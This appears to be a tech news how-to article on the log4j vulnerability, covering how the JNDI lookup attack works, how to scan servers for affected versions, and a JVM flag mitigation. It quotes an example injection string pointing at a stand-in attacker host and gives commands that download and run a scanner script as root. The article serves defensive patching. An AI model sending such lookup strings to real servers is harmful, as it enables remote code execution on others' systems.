A critical exploit in widespread Java library has been found, disrupting much of the internet as server admins scramble to fix it. The vulnerable component, log4j, is used everywhere as an included library, so you will need to check your servers and make sure they’re updated.

How Does This Exploit Work?

As far as exploits go, the?log4j? ulnerability is by far one of the worst in the last few years, scoring a rare 10/10 on the CVSS scale, and is going to haunt the entire internet for many years to come.

What’s worse is that log4j?isn’t an application—it’s an open source library used by many other applications. You may not have it installed directly; it might be included in other .jar?files, or installed by other applications as a dependency.

Essentially, it allows attackers to send text to your application, and if it logs it somewhere (eg., logging a user controlled agent string in a web server), you server will execute malicious code. The format of the text looks like the following example: an extremely simple string containing a link to a remote address.

${jndi:ldap://attacker.com/a}

The vulnerable component in log4j?is the?Java Naming and Directory Interface, which allows the logging framework to make remote requests. Except it also deserializes the file at that endpoint, and is able to load .class?files containing remote code. Which is bad.

Am I Vulnerable?

The exploit was quickly patched in log4j‘s latest release, 2.16.0, but the problem isn’t fixing it—it’s finding out where you need to. Since log4j?is an embedded dependency, it may be non-trivial to search for the specific version of it on your system. And, since Java is so popular, many third-party tools and components may use it, so you may not even?know if you are running Java software on your machines.

Advertisement

Even if you think you aren’t vulnerable, you probably still need to double check. This exploit affects so many systems that there is a solid chance you may be running log4j?or Java without realizing it.

Luckily, JDK versions greater than?6u211,?7u201,?8u191, and?11.0.1?are not affected by the primary attack vector (using LDAP) that’s being exploited the most right now. You still need to patch it regardless, since it can?easily be used with other attack vectors as well. Also, just the simple act of making a request to an endpoint can reveal data about machines on your network, which isn’t a good thing either.

This exploit highlights why it is important to keep a Software Bill of Materials (SBOM), basically a list of all the software on your systems, where it comes from, and what it’s made from. In the future, this knowledge can help you quickly patch against attacks like this.

In the present, you are probably just concerned about getting your network patched. To do that, you’ll need to scan your systems to find log4j?versions used by your software, and make a list of all the vulnerable components.

How to Scan Your System and Check log4j Versions

Many people have already made scripts to automatically scan systems for vulnerable installations, such as this popular one written in Python, and this one from security firm LunaSec. One of the easiest to use is this simple bash script, which can scan your packages and identify log4j?versions, and can also tell you if your system is even using Java in the first place. In most cases, you’ll want to run multiple scans with different scripts, because it’s not guaranteed that any one of these is going to be 100% effective at identifying every vulnerable system.

Advertisement

You can download it and run it with a few commands. This needs to run as root to scan your whole system, so of course, be careful which scripts you run with root privileges off the internet. This too is arbitrary code execution.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

The results from this script highlight exactly what makes this?log4j?vulnerability so terrible—running this on my personal server revealed that I was vulnerable to the exploit, days after the zero-day, despite thinking I did not have Java installed on this machine because I’m not running any of my own Java software.

Elasticsearch is running in the background on this machine, which is written in Java. I didn’t have to install Java manually to install Elasticsearch; it includes a bundled version of?OpenJDK. It includes log4j?in this installation and is vulnerable to the exploit.

The fix, for Elasticsearch at least, is updating all packages and following their mitigation guides. This will likely be the case for whatever software you’re running; you’ll need to update log4j?directly, update the software bundling it, or hotfix it with whatever best practice mitigations other people are using.

If you can’t patch the jar for some reason, you can use this JVM flag to mitigate the issue, which simply tells log4j to never do any lookups when formatting messages. This isn’t recommended though, and you should try to get log4j?2.16.0 installed wherever you can to fix the problem entirely.

-Dlog4j2.formatMsgNoLookups=true
Profile Photo for Anthony Heddings Anthony Heddings
Anthony Heddings is the resident cloud engineer for LifeSavvy Media, a technical writer, programmer, and an expert at Amazon's AWS platform. He's written hundreds of articles for How-To Geek and CloudSavvy IT that have been read millions of times.
Read Full Bio ?